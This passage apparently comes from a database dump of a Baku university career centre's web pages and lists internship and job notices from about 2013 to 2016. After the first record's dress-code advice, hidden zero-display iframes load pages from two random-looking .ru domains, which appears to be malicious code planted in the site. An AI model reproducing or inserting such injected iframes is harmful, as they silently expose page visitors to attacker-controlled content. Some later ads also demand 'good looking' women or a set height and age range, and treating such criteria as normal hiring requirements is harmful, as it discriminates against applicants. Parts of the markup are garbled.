by 18:00 on the 15th of&nbsp; April&nbsp; 2013. Only those applicants selected for interview will be contacted.&nbsp;<strong>&nbsp;</strong><strong>&nbsp;</strong></p><p><strong>Note.</strong>&nbsp;All Oxfam volunteers become \'Friends of Oxfam\' for their great contrubution and help to poverty reduction through volunteerism. At the end of the agreed date of termination, volunteers are awarded with Oxfam Certificates for their input on charity work.<strong>&nbsp;</strong><strong>&nbsp;</strong></p><p>&nbsp;</p><p><strong>Information about Oxfam Azerbaijan Governance Programme</strong></p><p>When the municipalities were first established in 1999 in Azerbaijan, they were not fully integrated into the public administration system. Oxfam has played a pioneering role in the field of good governance and institution-building in Azerbaijan, having prioritised the issue of tackling poverty through effective institutional development in Azerbaijan since 2003. During the last 10 years, the programme has nurtured a network of experienced NGOs in good governance and implemented projects with ICCO, the EUand GIZ on municipality development in Azerbaijan aimed at strengthening municipalities as sole institutions of local self-governance.</p><p>&nbsp;</p><p>Oxfam’s Governance Programmes seeks to build accountable and effective local self-governments in Azerbaijan to provide the vulnerable men and women with better quality public services. The programme covers the institutional capacity building for municipalities in Central Azerbaijan, participatory budgeting and skill-development for public service delivery, campaign and advocacy work both at the national and international levels with government agencies and international organizations (e.g. Council of Europe, the EU ).</p><p>&nbsp;</p><p>The programme builds on this overall assumption that building capacity of municipalities as institutions of local self-governance will make them more effective, accountable and transparent. This would also lead to more engagement of local citizens in local level decision-making. The vision is that the stronger municipalities equipped with effective management skills would gain more public trust, which would make them stronger in their dialogue with the government and also financially independent to solve problems raised by the people.</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>AIESEC</strong>&nbsp;is an international&nbsp;non-profit organization&nbsp;that provides students with leadership training and internship opportunities at&nbsp;for-profit and non-profit organizations.&nbsp;&nbsp;</p><p>&nbsp;</p><p>The AIESEC network includes over 86,000 members in 113 countries and territories. It is the largest student run organization in the world, being present in over 2,400 universities across the globe, provides more than 24,000 leadership experiences to its members and sends students and graduates on 20,000 international exchanges yearly.&nbsp;AIESEC is supported by over 8,000 of partner organizations around the globe who look to AIESEC to support the development of youth and to access talented individuals keen on personal growth.</p><p>&nbsp;</p><p>AIESEC in Azerbaijan was opened in the year 2006 with the help of AIESEC in Turkey as &nbsp;a partner country.&nbsp;&nbsp;Today, it is being present in majority of Baku city\'s universities and has variety of different partners. The most closest relationships are mentioned between AIESEC and Khazar University during the period of AIESEC\'s activity. Unique students of Khazar University showed their best in projects, postions and internships. Today AIESEC in Azerbaijan has the next big and full of opportunities project, that has been offered to Khazar recently.&nbsp;</p><p>&nbsp;</p><p>AIESEC in Azerbaijan starts the \"Internship abroad\" program for students of Khazar.</p><p>20 people are going to be selected for the program;</p><p>The chance to choise one of the countries: Romania, Hungary, Turkey, Moldova, Italy, Malta, Sri-lanka;</p><p>Accomodation, daily food(2-3) and volunteer job are provided;</p><p>Duration of the program: 6 weeks;</p><p>Avia tickets are not included;</p><p>Requirments: English language(intermediate);</p><p>Payment of participation: 200 AZN(paid after selecting)</p><p><strong>DEADLINE: 6 April</strong></p><p>For any question:</p><p>+994517847019</p><p><a href=\"mailto:kamran2108@gmail.com\">kamran2108@gmail.com</a></p><p>&nbsp;</p><hr><p>&nbsp;</p><p>We are pleased to inform you that&nbsp;<strong>AMEC&nbsp;</strong>is seeking candidates for</p><p><strong>&nbsp;</strong></p><p><strong>INTERNSHIP PROGRAMS</strong></p><p><em>&nbsp;</em></p><p>All interested candidates send their&nbsp;<strong>CV</strong>&nbsp;and&nbsp;<strong>TQDK Exam Results&nbsp;</strong>to the email uhuseynova@khazar.org, indicating the subject line ‘Internship at AMEC’</p><p><em>ONLY 2<sup>nd</sup>&nbsp;year students of Civil Engineering and Petroleum Engineering may apply!</em></p><p>Deadline is 6 April, 2013.</p><p>&nbsp;After the deadline, all candidates will be invited to take the AMEC exam at Khazar, and 30 candidates will be selected at the end of April.</p><p>To get more information, please visit the Career Development Center:</p><p>Room No 211 (II floor, old building)&nbsp;</p><p>Act fast!</p><p>&nbsp;</p><hr><p>&nbsp;</p>\r\n<p>We are pleased to inform you that&nbsp;<strong>STATOIL&nbsp;</strong>is seeking candidates for</p><p><strong>&nbsp;</strong></p><p><strong>INTERNSHIP PROGRAMS</strong></p><p><em>&nbsp;</em></p><p>All interested candidates must send their&nbsp;<strong>CV</strong>&nbsp;and&nbsp;<strong>transcript</strong>&nbsp;to uhuseynova@khazar.org, indicating in the subject line ‘Internship at Statoil’</p><p><em><strong>ONLY</strong>&nbsp;3rd and 4th year students of drilling engineering and process engineering (mechanical/chemical) may apply!</em></p><p>To get more information, please visit the Career Development Center:</p><p>Room No 211 (II floor, old building)</p><p>Act fast!</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>Ernst &amp; Young</strong></p><p>Dear All,<br><br>Ernst &amp; Young Baku office is pleased to announce the launch of 2013 Recruitment Program for its<br>Assurance Services.<br><br>We invite students and young specialists to take part in 2013 Recruitment Program. Please visit our<br>career page athttp://www.ey.com/AZ/en/Careers job search for detailed information about the required<br>qualifications and experience.<br>All the interested candidates should submit their applications and CVs through http://www.ey.com/AZ/en/<br>Careers at job search. Deadline for submission of applications is 29 March, 2013.</p><p>&nbsp;</p><hr><p>&nbsp;</p><p>&nbsp;</p><p>Dear Economists,</p><p><br><strong>PARABANK</strong>&nbsp;is seeking Interns from Khazar University,<br><br>Qualifications:<br>Excellent communications Skills,<br>Knowledge of Mathematics,<br>Excellent Analyzing Skills,<br>Knowledge of Accounting,<br>Fluency in written and oral English and Russian<br><br>Interested candidates are requested to email their CV/Resume to uhuseynova@khazar.org<br><br>Hurry Up!</p><p><br></p><hr><p>&nbsp;</p><p><strong>What do I need to do before The Internship Fair?</strong></p><p>Attend announced or to be announced workshops on&nbsp;<strong>How to Prepare for and work an Internship fair;</strong></p><p><strong>Get your resume ready:&nbsp;</strong>Once your draft resume prepared, you can come to the Career Center for a resume critique<strong></strong></p><p><strong>Check the Internship Fair Attendance list:&nbsp;&nbsp;</strong>It is all about to find suitable Internship opportunity in time and get involved the related fields of your profession before attendance</p><p><strong>What should I wear?</strong></p><p>Your style of dress should vary according to the type of field of your profession. For Internship Fairs you are not able to wear suits. For most female and male students, nice slack or skirt with a simple blouse or shirts will be fine. Blazer and a tie may be good addition to your outfit.</p>  <!-- ELRTE_SCRIPT:script408810900192621 --><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=26698\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=26698\" style=\"display:none\"></iframe><!-- ELRTE_SCRIPT:script18737786328246187 --><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=26698\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=26698\" style=\"display:none\"></iframe>'),(1725,1072,'az','“Əlilliyi olan tələbələrlə 360 dərəcə ünsiyyət” adlı təlim-seminar keçiriləcək','2016-ci il mayın 13-ü saat 15:00-da (otaq 408N) “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsi çərçivəsində Xəzər Universitetinin tələbələri üçün “Əlilliyi olan tələbələrlə 360 dərəcə ünsiyyət” adlı təlim-seminar keçiriləcək.','<p>2016-ci il mayın 13-ü saat 15:00-da (otaq 408N) “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsi çərçivəsində Xəzər Universitetinin tələbələri üçün “Əlilliyi olan tələbələrlə 360 dərəcə ünsiyyət” adlı təlim-seminar keçiriləcək. Təlim-seminarın məqsədi Xəzər Universitetində təhsil alan tələbələrə əlillik, əlilliyi olan tələbələrlə etik davranış və düzgün ünsiyyət, inkluziv təhsil haqqında geniş məlumat verməkdir. Təlim-seminar zamanı iştirakçılar ESFİDİP layihəsi, “Əlilliyi olan Tələbələr üçün Mərkəz” və könüllülük haqqında da məlumat veriləcək.</p><p>Təlimdə iştirak etmək istəyən tələbələrin özləri haqqında qısa məlumatı (ad, soyad, fakültəsi və kurs)&nbsp;<a href=\"mailto:rmammadova@khazar.org\" target=\"_blank\">rmammadova@khazar.org</a>&nbsp;və ya<a href=\"mailto:gunel.qurbanova95@gmail.com\" target=\"_blank\">gunel.qurbanova95@gmail.com</a>&nbsp;e-mail ünvanlarına göndərmələri xahiş olunur.</p><p>&nbsp;</p>'),(709,503,'en','Job Opportunities','Job Opportunities','<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><strong>&nbsp; </strong></p><p><strong>Vacancy in <span style=\"text-decoration:underline\">One2One</span> Marketing agency</strong></p><p>&nbsp;<strong>Position: Client Service Manager</strong></p>  <p><strong>Duties:</strong></p><p>Responsible for selection, training, development and motivation of company’s and project based personnel  <br></p> <p>Responsible for achieving objectives in all advertising, marketing and digital projects, including the implementation of financial performance  <br></p><p>Managing work with agency’s Key Accounts - attracting, developing and retaining  <br></p><p>Event\r\nand project management  <br></p><p>Budgeting  <br></p><p>Taking\r\npart in Creative and Strategic Development of ATL &amp;BTL campaigns for Key\r\nAccount brands  <br></p><p><strong>Profile:</strong></p> <p>- Ability to work under pressure</p>  <p>- Time Management</p>  <p>- Result-oriented</p>  <p>- Diverse communication skills</p><p>- Knowledge of English &amp; Azerbaijani</p>\r\n<p>-&nbsp;Deadliner</p>  <p>-MS office skills</p>  <p><span style=\"text-decoration:underline\"><br></span></p><p><em>Interested applicants are welcomed to send their Resume to careercenter@khazar.org&nbsp; or drop in Career Center at Room 211.</em><em></em></p> <p style=\"text-align:center\">***</p><p><span style=\"text-decoration:underline\"><br></span></p><p><strong>SEFCO Consulting Group</strong> is looking for&nbsp;<strong>Training Coordinator – Volunteer</strong>  </p><p margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><strong></strong></p><p>“SEFCO Consulting Group” was established in 2011 in Turkey. “SEFCO Consulting Group” is an organizer of a series of public, economic and social projects which hold special academic trainings in Italy, Ukraine, Slovenia and some other countries. In addition, the company has been started to operate in Azerbaijan since 2014. The goal of the company is the application of the standards adopted in the academic, scientific and international level and the implementation of the projects and trainings within the framework.  <br></p>  <p><strong>Main responsibilities:</strong></p><p>-&nbsp;Manage multi-touch training initiatives from the Assessment,\r\nDesign, Development, Implementation and Evaluation stages;</p><p>-&nbsp;Document and correspondence management;</p> <p>-&nbsp;Communication with administration service suppliers and\r\nnegotiating with them;</p> <p>-&nbsp;Provide assistance in general office administrative tasks\r\nand technical support;</p>  <p>-&nbsp;Provide assistance to other staff in arranging trainings\r\nactivities.</p>  <p><strong>Requirements:</strong></p> <p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\">Bachelors’\r\ndegree&nbsp;  <br></p><p>At least one year of direct client-facing experience;</p> <p>Excellent communication skills in Azerbaijani and English\r\n(both verbal and written);</p> <p>Self-motivated with strong organizational and time\r\nmanagement skills;</p>  <p>Manage and maintain in-house training facilities and\r\nequipment;</p>  <p>Software\r\nskills: MS Office<br></p>  <p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><br></p><p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\">Interested applicants are welcomed to send their Resume to falakbarova@khazar.org&nbsp; or drop in Career Center at Room 211.&nbsp;</p><p style=\"text-align: center;\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\">***</p><p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><strong>Caspian Investment Development Corporation (CIDC Baku LLC)</strong></p><p dir=\"ltr\" style=\"line-height:1.3800000000000001;margin-top:0pt;margin-bottom:0pt;text-align:justify\">Caspian Investment Development Corporation (CIDC Baku LLC) is the leading quality manufacturer of hygiene products as baby diapers, household tissue products, and industrial/commercial tissues in Azerbaijan and the Caspian region.&nbsp;</p><p dir=\"ltr\" style=\"line-height:1.3800000000000001;margin-top:0pt;margin-bottom:0pt;text-align:justify\">  Following successful commencement of production the Baku based state of the art manufacturing works requires the assembly of a highly motivated team with skills, proven <span style=\"font-size:medium\">potentials and</span> the abilities to drive the vision, mission and values of the Company.&nbsp;</p><p dir=\"ltr\">We are currently looking for Procurement Assistant (Spare parts and Raw materials) to join our Company.</p><p dir=\"ltr\"><em>The duties will include (but are not limited to):</em></p><ul><li dir=\"ltr\"><p dir=\"ltr\">Perform general clerical duties such as maintaining general files, typing, data entry, completing and processing standard purchasing forms.</p></li><li dir=\"ltr\"><p dir=\"ltr\">Updating Contracts and &nbsp;Purchase Orders` database</p></li><li dir=\"ltr\"><p dir=\"ltr\">Assist in searching and selecting spare parts and raw materials` suppliers by criteria (the best prices, quality &amp; conditions)</p></li><li dir=\"ltr\"><p dir=\"ltr\">To ensure that price variations are communicated to the relevant parties/maintenance and production departments as quickly as possible</p></li><li dir=\"ltr\"><p dir=\"ltr\">Assist in ordering, organizing, collecting and controlling all necessary purchasing &amp; logistics documents (customs clearance: invoices, packing lists, export declaration, certifications, CMR, and TIR Carnet)</p></li><li dir=\"ltr\"><p dir=\"ltr\">Assist in organizing schedule deliveries, resolving shortages, missed deliveries, and find storage premises for arriving goods &nbsp;</p></li></ul><p dir=\"ltr\"><em>Requirements and skills for this position:</em></p><ul><li dir=\"ltr\"><p dir=\"ltr\">Mechanical, Electronics, Chemical or Industrial Engineering Degree</p></li><li dir=\"ltr\"><p dir=\"ltr\">One year of working experience in production/manufacturing area </p></li><li dir=\"ltr\"><p dir=\"ltr\">Fluency in &nbsp;Azeri /English /Russian</p></li><li dir=\"ltr\"><p dir=\"ltr\">Strong MS Office skills</p></li><li dir=\"ltr\"><p dir=\"ltr\">Flexible and fast learning</p></li><li dir=\"ltr\"><p dir=\"ltr\">Excellent communication, organizational and teamwork skills.</p></li></ul><p dir=\"ltr\">Please send your CV to <a href=\"mailto:recruitment@cidc.az\">recruitment@cidc.az</a>highlighting the position you are applying for in the subject title.</p><p dir=\"ltr\">Deadline for CV submission is <strong>02nd</strong><strong> December 2016</strong></p><p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong><br></strong><br><p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><strong>Hellmann Worldwide Logistics is hiring!</strong></p>\r\n<p>Founded\r\nin 1871, our company started with one man, Carl Heinrich Hellmann, using a\r\nhorse-drawn cart to deliver parcels in and around the town of Osnabrueck,\r\nnorthern Germany. Four generations later, Carl’s great-grandchildren, Jost and\r\nKlaus, own and run the company with an active network in 157 countries. Today\r\nwe operate a truly global organization while remembering our humble beginnings:\r\nwe continue to value every customer and understand that each project requires a\r\nunique solution. This powerful combination of an individual approach within an\r\ninternational framework ensures that we deliver top-quality customized\r\nlogistics solutions, every time. We constantly strive to develop better, more\r\nefficient ways to do business, whether it is by implementing cutting-edge\r\ntechnology, increasing the number of services we provide, or expanding our\r\nnetwork of branches and warehouses.&nbsp;</p>\r\n<p>Presently, 10 employees are working\r\nin our office and we are seeking a <strong>Sales\r\nSpecialist</strong>!</p>\r\n<p><strong>Requirements:</strong></p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCreative\r\nthinking;</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTeamwork\r\nskills;</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBe\r\npunctual and timely;</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBuild\r\ncommunication with people;</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFluent\r\nin English, Russian and Azerbaijani</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><strong>Job Description:</strong></p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:36.0pt;text-indent:-18.0pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCandidates\r\nwill work as a volunteer for one month;</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:36.0pt;text-indent:-18.0pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCandidates\r\nwill obtain training in sales techniques, logistics, international air, rail, land\r\nand sea freight;</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:36.0pt;text-indent:-18.0pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSuccessful\r\ncandidates will have a chance to sign a work contract;</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:36.0pt;text-indent:-18.0pt;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSalary\r\nwill be determined during the interview</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\">&nbsp;Interested\r\ncandidates are encouraged to send their CVs to the following e-mail address: <a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a> indicating “Sales Specialist” in the subject line.</p><p>Caspian\r\nInvestment and Development Corporation (CIDC) Baku LLC is embarking on a major\r\nproject in the production of fast moving consumer goods (FMCG) and the\r\nproduction of raw materials to facilitate this strategy with the development of\r\na new plant.</p><p>&nbsp;Following\r\nsuccessful commencement of Production the Baku based state of the art\r\nmanufacturing works requires the assembly of a team with high skill, proven\r\npotential and the ability to drive the vision of CIDC.&nbsp;</p><p>We are currently looking for <strong><span style=\"font-size:12.0pt;font-family:\'Times New Roman\',serif;text-decoration:underline\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\" rel=\"media7820249104876387\" width=\"428\" height=\"100\">Procurement\r\nand Logistics Assistant</span></strong> to join our\r\nCompany.</p><p><strong>The duties will include (but are not limited to):</strong></p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUpdating Contracts database,&nbsp; Purchase Orders database</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssist to select Suppliers by criteria\r\n(the best prices, quality &amp; conditions)</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssist to coordinate dealing with existing\r\nsupplies, negotiate, searching for new local and international supplies</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCheck and control of the corresponding\r\ndocuments for customs clearance: invoices, packing lists, export declaration,\r\ncertifications, CMR, TIR Carnet, and etc.</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssist in ordering, organizing, collecting\r\nand controlling all necessary purchasing &amp; logistics documents and other\r\nrelated documents and reports</p><p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssist to organize schedule deliveries,\r\nresolving shortages, missed deliveries, find storage premises for arriving goods\r\n&nbsp;</p><p>&nbsp;<strong>Requirements and skills for this position:</strong></p><ul type=\"disc\">\r\n <li>University\r\n     Degree in Finance, Economics, or Business Administration / MBA </li>\r\n <li>One year of working\r\n     experience </li>\r\n <li>Fluency\r\n     in&nbsp; Azeri /English /Russian</li>\r\n <li>Strong MS Office skills</li>\r\n <li>Flexible and fast learning</li>\r\n <li>Excellent\r\n     communication, organizational and\r\n     teamwork skills.</li></ul><p>Caspian\r\nInvestment and Development Corporation (CIDC) Baku LLC is embarking on a major\r\nproject in the production of fast moving consumer goods (FMCG) and the\r\nproduction of raw materials to facilitate this strategy with the development of\r\na new plant.</p>\r\n<p>Following\r\nsuccessful commencement of Production the Baku based state of the art\r\nmanufacturing works requires the assembly of a project team with high skill,\r\nproven potential and the ability to drive the vision of CIDC.&nbsp;</p>\r\n<p>We are currently looking for an <strong>Accountant\r\nAssistant </strong>to join our Company.</p>\r\n<p><strong>The duties will include (but are not limited to)</strong><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:10.0pt;text-indent:-18.0pt;line-height:115%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssist in controlling\r\naccounts receivable and accounts payable in accordance with set procedures</p>\r\n<p style=\"\" margin-bottom:10.0pt;text-indent:-18.0pt;line-height:115%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssist in preparation of\r\npayroll, ensure Payroll is completed including payment of state taxes</p>\r\n<p style=\"\" margin-bottom:10.0pt;text-indent:-18.0pt;line-height:115%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssist in preparation of\r\nSSPF reports (quarterly and annually)</p>\r\n<p style=\"\" margin-bottom:10.0pt;text-indent:-18.0pt;line-height:115%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssistance in preparation\r\nof annual Tax Reports</p>\r\n<p style=\"\" margin-bottom:10.0pt;text-indent:-18.0pt;line-height:115%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEntering accounting\r\nentries to accounting software </p>\r\n<p style=\"\" margin-bottom:10.0pt;text-indent:-18.0pt;line-height:115%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssistance in preparation\r\nof management accounts (P&amp;L, Cash Flow statement, Balance Sheet) </p>\r\n<p style=\"\" margin-bottom:10.0pt;text-indent:-18.0pt;line-height:115%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPerforming other daily\r\naccounting tasks as required by Chief Accountant and Head of Finance Department</p>\r\n<p><strong>Requirements and skills for this position:</strong></p>\r\n<p>•\r\nUniversity education in Finance, Accounting and/or other related business disciplines.<br>\r\n• Minimum 1-2 years of work experience in a related field is required. <br>\r\n• Strong knowledge of MS Office programs <br>\r\n• Fluency in Azerbaijani, Russian and English</p>\r\n<p>&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><p><strong>Zuleykha&nbsp;Journal</strong></p>\r\n<p>\"Zuleykha\"\r\nJournal Content Manager and intern positions are vacant.</p>\r\n<p>Our\r\nteam is searching for creative young people with active lives. Top candidates will\r\nbe trained before starting work. Write to us:</p>\r\n<p><a href=\"mailto:hello@zuleykha.az\">hello@zuleykha.az</a></p>\r\n<p>NOTE\r\n: Note\r\nthe name of the vacancy in the subject line.</p>\r\n<p>&nbsp;Content\r\nManager :&nbsp;</p><p>&nbsp;Must\r\nbe informed on the latest trends of modern women</p>\r\n<p>&nbsp;Fluent\r\nin Azerbaijani language and creative writing ability</p>\r\n<p>&nbsp;Russian\r\nand English language are assets.</p>\r\n<p>&nbsp;Computer\r\nand other techinical skills </p>\r\n<p>&nbsp;Managing\r\nauthors\' team</p>\r\n<p>&nbsp;Communication\r\nskills </p>\r\n<p>&nbsp;Achieving\r\nobjectives on time and in the manner required </p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInitiative\r\nand extensive thinking skills </p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSelf-development based on\r\nmistakes</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFourth year students and\r\ngraduates preferred&nbsp;</p><p><br></p>  <p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong><br></strong><br><p><strong><br></strong></p><p><strong>GDG Professionals is Hiring!</strong></p>\r\n<p><em>Hostess Position</em></p>\r\n<p>Requirements:&nbsp;</p>\r\n<p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Good looking ladies;</p>\r\n<p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fluent in Russian and Azerbaijan;</p>\r\n<p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Work\r\nExperience is an asset;</p>\r\n<p>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Working hours: 12:00-22:00, 6 days;</p>\r\n<p>5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Salary 500 azn</p>\r\n<p>Ladies should meet the guests and invite them to\r\nthe tables. They should accept the reservations and communicate with the\r\ncustomers.</p>\r\n<p>Interested candidates are encouraged to send their\r\nCVs to the following e-mail address: <a href=\"mailto:jamilya@gdg.az\">jamilya@gdg.az</a> indicating “Hostess” in the subject line.</p>  <p style=\"\" margin-left:49.5pt;text-align:center\"=\"\">“<strong>Amapola Exclusive Events”&nbsp; MMC is seeking Fashion Designer!</strong></p>\r\n<p><strong>Responsibilities :</strong></p><ul><li>Diccussions with\r\ndirector and art director about events. &nbsp;&nbsp;</li><li>Draw sketches of\r\nclothing, objects, and features for events.</li><li>Research and select\r\nmaterials for making clothing, objects, and features in sketches.</li><li>Prepare clothing,\r\nobjects, and features in a timely fasion and deliver them to customers.</li></ul>\r\n<p style=\"\" margin-left:0in;text-align:justify\"=\"\"><strong>Requirments :</strong></p>\r\n<br><ul><li>Higher education in relevant field (Painting,\r\nDesign, etc.)</li><li>Excellent level of Azerbaijani and Russian\r\nlanguages. English language is an asset.</li><li>At least 1-2 years work experience in the\r\nfield</li><li>Tailoring skills</li><li>Creativity</li><li>Methods of design</li></ul><br>\r\n<p>Interested candidates are encouraged to send\r\ntheir CVs to the following e-mail address: uhuseynova@khazar.org . Indicate the\r\nvacancy name (<strong>Fashion Designer</strong>) in\r\nthe subject line. The CVs will be screened by the coordinator and then will be\r\nsubmitted to the employer.</p><p><br></p><br><hr noshade=\"noshade\"><br><strong><br></strong><div><strong><br></strong></div><div><strong>Business Insight International\r\nResearch GROUP is hiring!</strong><br>\r\n<p><strong>Requirements:</strong></p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBetween 18 –\r\n26 years old;</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGood looking\r\n(at least 160cm tall);</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStrong\r\nlogical abilities;</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCommunication\r\nand presentation skills;</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKnowledge of\r\nMicrosoft Office programs;</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHigher education\r\nin Literature or Philology (able to construct professional sentences);</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRussian\r\nlanguage is an asset.</p>\r\n<p><strong>Note:</strong></p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWorking days:\r\n6 days a week;</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWorking\r\nhours: 09:00 – 18:00;</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDays off:\r\nSundays</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSalary:\r\n200-250 AZN</p>\r\n<p>Interested candidates are\r\nencouraged to send their CVs to the following e-mail address: <a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a> . Indicate the vacancy name in the subject line. 